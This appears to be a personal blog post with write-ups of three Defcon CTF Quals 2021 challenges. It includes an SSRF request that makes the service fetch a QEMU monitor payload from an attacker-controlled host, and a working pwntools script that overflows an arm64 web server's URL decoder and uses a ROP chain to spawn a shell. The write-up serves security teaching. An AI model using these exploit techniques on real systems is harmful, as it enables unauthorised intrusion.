Aaron's Blog

Defcon CTF Quals 2021 Writeups

I have never posted rev/pwn writeups here, so I figured I should do some from Defcon CTF Quals this year. Aaron Jobe (@dirtyc0wsay) and I worked together (as a part of team OSUSEC) to solve these three challenges (among others): coooinbase-kernel, coooinbase, and mra.


coooinbase-kernel (rev/pwn) — Unintended Solution

a simple service backed by special hardware for buying bitcoin: our beta testing server is live at http://52.6.166.222:4567 - this time attack the kernel!

Analysis

Basically, we're provided with a webserver that runs some strange kernel (not really relevant to solution lol) in QEMU everytime you submit a certain form.

post '/buy' do
  puts "...fetching: http://#{env['HTTP_HOST']}/gen-bson"
  uri = URI.parse("http://#{env['HTTP_HOST']}/gen-bson")
  b6 = Net::HTTP.post_form(uri, params).body
  s = 'INVALID CREDIT CARD'
  if b6 == 'NO'
    # invalid!
  else
    file = Tempfile.new('pwn')
    puts "...writing '#{b6}' to '#{file.path}'"
    file.write(b6)
    file.rewind
    file.close
    s = `./x.sh < #{file.path}`
    file.unlink    # deletes the temp file
  end
  "#{valid_association?(params['cardnumber'])} - #{s}"
end

post '/gen-bson' do
  return 'NO' unless valid_credit_card?(params['cardnumber'])
  return 'NO' if valid_association?(params['cardnumber']) == 'NO'

  x = {}
  x['CVC'] = params['cvv'].to_i
  x['MON'] = params['expmonth'].to_i
  x['YR'] = params['expyear'].to_i
  x['CC'] = params['cardnumber']
  m = x.to_bson
  return "#{Base64.strict_encode64(m.to_s).chomp} "
end
Contents of x.sh:
timeout 1 qemu-system-aarch64 -machine virt -cpu cortex-a57 -smp 1 -m 64M -nographic -serial mon:stdio -monitor none -kernel coooinbase.bin -drive if=pflash,format=raw,file=rootfs.img,unit=1,readonly

Exploitation

We realized that this is a cheese as we're doing zero kernel pwn to get the flag, but oh well. We really wanted to first blood both challenges LOL.

So basically we realized we just need to use SSRF to a page we control so that the response is ^Ac to open QEMU monitor then run commands to get the flag from memory:

^Ac
info registers
x/50gx 0x0000000040088858
x
00000000  01 63 0a 69 6e 66 6f 20  72 65 67 69 73 74 65 72  |.c.info register|
00000010  73 0a 78 2f 35 30 67 78  20 30 78 30 30 30 30 30  |s.x/50gx 0x00000|
00000020  30 30 30 34 30 30 38 38  38 35 38 0a 01 78 0a     |00040088858..x.|

We found the offset of the flag by debugging the kernel image, dumping registers to find the base address of the kernel image in virtual memory (0x40000000), then adding the 34904 (0x8858) offset found in the grep command in the reverse engineering step.

We put the QEMU payload at http://myhost:8523/asdf.txt. The HTTP request that the SSRF exploit will make is to http://myhost:8523/asdf.txt?/gen-bson which is the location of the QEMU payload. Easy flag.

$ curl http://52.6.166.222:4567/buy --data 'cardnumber=4716391337091425' -H 'Host: myhost:8523/asdf.txt?'
QEMU 5.2.0 monitor - type 'help' for more information
(qemu) 
(qemu) info registers
 PC=0000000040000000 X00=0000000000000000 X01=0000000000000000
X02=0000000000000000 X03=0000000000000000 X04=0000000000000000
X05=0000000000000000 X06=0000000000000000 X07=0000000000000000
X08=0000000000000000 X09=0000000000000000 X10=0000000000000000
X11=0000000000000000 X12=0000000000000000 X13=0000000000000000
X14=0000000000000000 X15=0000000000000000 X16=0000000000000000
X17=0000000000000000 X18=0000000000000000 X19=0000000000000000
X20=0000000000000000 X21=0000000000000000 X22=0000000000000000
X23=0000000000000000 X24=0000000000000000 X25=0000000000000000
X26=0000000000000000 X27=0000000000000000 X28=0000000000000000
X29=0000000000000000 X30=0000000000000000  SP=0000000000000000
PSTATE=400003c5 -Z-- EL1h    FPU disabled
(qemu) x/50gx 0x0000000040088858
0000000040088858: 0x62726f667b4f4f4f 0x6e75203133207365
0000000040088868: 0x3a20313320726564 0x0000000000007d29
0000000040088878: 0x0000000000000000 0x0000000000000000
0000000040088888: 0x0000000000000000 0x0000000000000000
0000000040088898: 0x0000000000000000 0x0000000000000000
00000000400888a8: 0x0000000000000000 0x0000000000000000
00000000400888b8: 0x0000000000000000 0x0000000000000000
00000000400888c8: 0x0000000000000000 0x0000000000000000
00000000400888d8: 0x0000000000000000 0x0000000000000000
00000000400888e8: 0x0000000000000000 0x0000000000000000
00000000400888f8: 0x0000000000000000 0x0000000000000000
0000000040088908: 0x0000000000000000 0x0000000000000000
0000000040088918: 0x0000000000000000 0x0000000000000000
0000000040088928: 0x0000000000000000 0x0000000000000000
0000000040088938: 0x0000000000000000 0x0000000000000000
0000000040088948: 0x0000000000000000 0x0000000000000000
0000000040088958: 0x0000000000000000 0x0000000000000000
0000000040088968: 0x0000000000000000 0x0000000000000000
0000000040088978: 0x0000000000000000 0x0000000000000000
0000000040088988: 0x0000000000000000 0x0000000000000000
0000000040088998: 0x0000000000000000 0x0000000000000000
00000000400889a8: 0x0000000000000000 0x0000000000000000
00000000400889b8: 0x0000000000000000 0x0000000000000000
00000000400889c8: 0x0000000000000000 0x0000000000000000
00000000400889d8: 0x0000000000000000 0x0000000000000000
(qemu) QEMU: Terminated

$ python3
>>> from pwn import *
>>> ''.join([p64(x).decode() for x in [0x62726f667b4f4f4f, 0x6e75203133207365, 0x3a20313320726564, 0x0000000000007d29]])
'OOO{forbes 31 under 31 :)}\x00\x00\x00\x00\x00\x00'

blooded


coooinbase (rev/pwn) — Unintended Solution

a simple service backed by special hardware for buying bitcoin: our beta testing server is live at http://52.6.166.222:4567

Analysis

Read the coooinase-kernel writeup first if you haven't already. Same concept. Just, this time, the flag is stored on a block device

Exploitation

Alright. Now that we blooded the kernel and had a working cheese, we wanted to blood the userspace challenge too.

The QEMU commands we used this time weren't documented well so we had a bit of fun exploring the arguments, but we settled on:

^Ac
info block
qemu-io pflash1 "read -v 713728 100"
x
00000000  01 63 0a 69 6e 66 6f 20  62 6c 6f 63 6b 0a 71 65  |.c.info block.qe|
00000010  6d 75 2d 69 6f 20 70 66  6c 61 73 68 31 20 22 72  |mu-io pflash1 "r|
00000020  65 61 64 20 2d 76 20 37  31 33 37 32 38 20 31 30  |ead -v 713728 10|
00000030  30 22 0a 01 78 0a                                 |0"..x.|
00000036

We determined the name of the block device with the info block and dumped 100 bytes of memory starting at offset 713728 which we determined by running a grep command similar to that of the kernel challenge:

$ grep --text -boi 'ooo{.*}' rootfs.img 
713728:OOO{this_is_from_userland}

Alright. Time for QEMU pwn:

$ curl http://52.6.166.222:4567/buy --data 'cardnumber=4716391337091425' -H 'Host: myhost:8523/asdf.txt?'
QEMU 5.2.0 monitor - type 'help' for more information
(qemu) 
(qemu) info block
pflash1 (#block132): rootfs.img (raw, read-only)
    Attached to:      /machine/virt.flash1
    Cache mode:       writeback

floppy0: [not inserted]
    Removable device: not locked, tray closed

sd0: [not inserted]
    Removable device: not locked, tray closed
(qemu) qemu-io pflash1 "read -v 713728 100"
000ae400:  4f 4f 4f 7b 74 68 69 73 5f 69 73 5f 66 72 6f 6d  OOO.this.is.from
000ae410:  5f 75 73 65 72 6c 61 6e 64 7d 0a 00 00 00 00 00  .userland.......
000ae420:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000ae430:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000ae440:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000ae450:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000ae460:  00 00 00 00  ....
read 100/100 bytes at offset 713728
100 bytes, 1 ops; 00.00 sec (1.894 MiB/sec and 19862.5511 ops/sec)
(qemu) QEMU: Terminated

(except the real flag was in that hexdump). It was fun while it lasted.

osusec

~~shouldnt have slept the second night LOL~~


mra (rev/pwn)

Is it odd?
mra.challenges.ooo 8000

Reverse Engineering

The binary is an arm64 binary:

$ file ./mra
mra: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, stripped

So, we debugged it by first running the binary in QEMU (with -g) then attaching from gdb:

$ qemu-aarch64 -g 1234 ./mra
$ aarch64-linux-gnu-gdb ./mra
gef➤  target remote :1234
Remote debugging using :1234
gef➤  checksec
[+] checksec for ./mra
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

Thought process:

It's immediately obvious that the binary was a crappy webserver from the strings. There's an API endpoint that tells you whether your number is even or odd:

$ qemu-aarch64 ./mra  
GET /api/isodd/9
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 19

{
    "isodd": true
}

The majority of the functionality of the application is actually unrelated to the vulnerability.

In memory, the application splits the URL into the URL path and query by finding the ? byte in memory and replacing it with a null byte (and storing the pointers). Then, it calls a function that url decodes the URL path (we call it urldecode). The cleaned-up Ghidra decompilation is:

int urldecode(void *dest, void *src) {
  uint uVar1;
  void *src;
  void *dest;
  byte cur_char;
  int n_copied = 0;
  void *ptr = 0;

  while (cur_char = *(byte *)((long)src + (long)ptr),
        cur_char != 0) { // repeat till null byte
    if (cur_char == '%') {
      uVar1 = FUN_00400144(*(undefined *)
                            ((long)src + (long)ptr + 1));
      cur_char = FUN_00400144(*(undefined *)((long)src + (long)ptr + 2));
      cur_char = (byte)((uVar1 & 0xff) << 4) | cur_char;
      ptr = ptr + 3; // skips len("%xx") == 3 bytes
    }
    else {
      ptr = ptr + 1; // skips to next byte
    }
    *(byte *)((long)dest + (long)n_copied) = cur_char; // copy decompiled char to dest buffer
    n_copied = ptr + 1;
  }
  return n_copied;
}

If the app finds a % character, it passes the next two bytes to a function that decodes ASCII, then increases the pointer by 3 bytes (to skip the three %xx bytes), and writes the char to the dest buffer. If the app is not a % byte, it just copies it to the dest buffer immediately. It repeats this process until it reaches a null byte.

There is an OOB read vulnerability in urldecode that enables a buffer overflow in dest. Because the % character consumes the next two bytes regardless of what they are, we can simply consume the URL path string-terminating null byte (which was previously the ? in the URL) with a %. Since we control the query parameters too, we can skip right past the null byte and continue writing to the stack past the max URL path size.

Crash POC

$ qemu-aarch64 ./mra
GET /api/isodd/%?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    3452210 segmentation fault  qemu-aarch64 ./mra

Exploitation

Unfortunately, when we inspected the core dump, we realized it wasn't segfaulting at the return address 0x4141414141414141 like we had hoped. In the main function,

    iVar3 = urldecode(&stack0x00000428,puVar4);
    string_length = (long)iVar3;
    if ((cVar7 == '-') && (iVar3 = strcmp(pcVar10,"public"), iVar3 == 0)) {
      output(0x191,
             "{\n\t\"error\": \"sign up for premium or enterprise to get negative number support\"\n}"
            );
    }
    else {
      uVar2 = (byte)(&stack0x00000427)[string_length] - 0x30;
      in_stack_00000020 = 0;
      iVar3 = strcmp(pcVar10,"public");
      if (iVar3 == 0) {
        uVar1 = -(uVar2 & 1);
        if (-1 < (int)uVar2) {
          uVar1 = uVar2 & 1;
        }
        if (uVar1 == 1) {
          pcVar10 = "true";
        }
        else {
          pcVar10 = "false";
        }
        sprintf(&stack0x00000020,"{\n\t\"isodd\": %s,\n\t\"ad\": \"%s\"\n}\n",pcVar10,pcVar8);
      }
      else {
        uVar1 = -(uVar2 & 1);
        if (-1 < (int)uVar2) {
          uVar1 = uVar2 & 1;
        }
        if (uVar1 == 1) {
          pcVar10 = "true";
        }
        else {
          pcVar10 = "false";
        }
        sprintf(&stack0x00000020,"{\n\t\"isodd\": %s\n}\n",pcVar10);
      }
      output(200,in_stack_00000020);
    }
  }
  return 0;

The line uVar2 = (byte)(&stack0x00000427)[string_length] - 0x30; was causing it to segfault early as we'd overwritten the value at stack0x00000427 with garbage. So, we decided to satisfy the first if condition (which checks if you're submitting a negative number to the endpoint), and got a proper crash:

$ qemu-aarch64 ./mra
GET /api/isodd/-%?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    3452210 segmentation fault  qemu-aarch64 ./mra

ROP Gadgets

After much termoil (have I mentioned I don't like arm pwn yet), we settled these ROP gadgets:

Setup the write-what-where gadget ("what" -> q0)

0x408ef0:  ldur   q0, [sp, #-16]         <-- read "/bin/sh\x00" (what) into q0 (sp-16)
0x408ef4:  ldp    x29, x30, [sp, #-32]   <-- setup following gadget @ 0x401c58
0x408ef8:  sub    sp, sp, #0x20
0x408efc:  ret

Write-what-where

0x401c58:  ldur   x0, [sp, #-8]          <-- read 0x41d300 (where) into x0 (sp-8)
0x401c5c:  str    q0, [x0]               <-- write "/bin/sh\x00" (what/q0) to 0x41d300 (where/x0)
0x401c68:  ldp    x29, x30, [sp, #-48]   <-- setup following gadget @ 0x4007ec
0x401c6c:  sub    sp, sp, #0x30
0x401c70:  ret

Shell plz

0x4007ec:  ldur   x8, [sp, #-8]          <-- we need to store 221 at sp-8
0x4007f0:  ldur   x0, [sp, #-16]         <-- we need to store pointer to "/bin/sh\x00" (0x41d300) at sp-16
0x4007f4:  ldur   x1, [sp, #-24]         <-- we need to store 0 at sp-24
0x4007f8:  ldur   x2, [sp, #-32]         <-- we need to store 0 at sp-32
0x4007fc:  ldur   x3, [sp, #-40]
0x400800:  ldur   x4, [sp, #-48]
0x400804:  svc    #0x0                   <-- shell plz

Since we need a /bin/sh string at a known place in memory for the sys_execve syscall and PIE is disabled, we picked a random place in .bss (0x41d300) for our write-what-where gadget to put the string.

Exploit

#!/usr/bin/env python3

from pwn import *
import urllib

#p = process(['qemu-aarch64', '-g', '1234', './mra'])
p = remote("mra.challenges.ooo", 8000)

buf = 'GET /api/isodd/%0?' + urllib.parse.quote(flat([
    b'\x00'*7, # stack alignment

    0x41d300, # the location of "/bin/sh"
    221, # sys_execve
    b'A'*8,
    0x4007ec, # Shell plz

    b'A'*24,
    0x41d300, # ... the "where"
    b'A'*8,
    0x401c58, # Write-what-where

    b'/bin/sh\x00', # ... the "what"
    b'A'*16,
    0x408ef0 # Setup the write-what-where gadget ("what" -> q0)
    # ^^^ ROP chain entry point
], word_size=64))

p.send(buf)
p.interactive()

ok pwn time

$ ./mra.py
[+] Opening connection to mra.challenges.ooo on port 8000: Done
[*] Switching to interactive mode
$ cat /flag
OOO{the_0rder_0f_0verflow_is_0dd}

Feels like a high school CTF pwn chal ngl

Loading...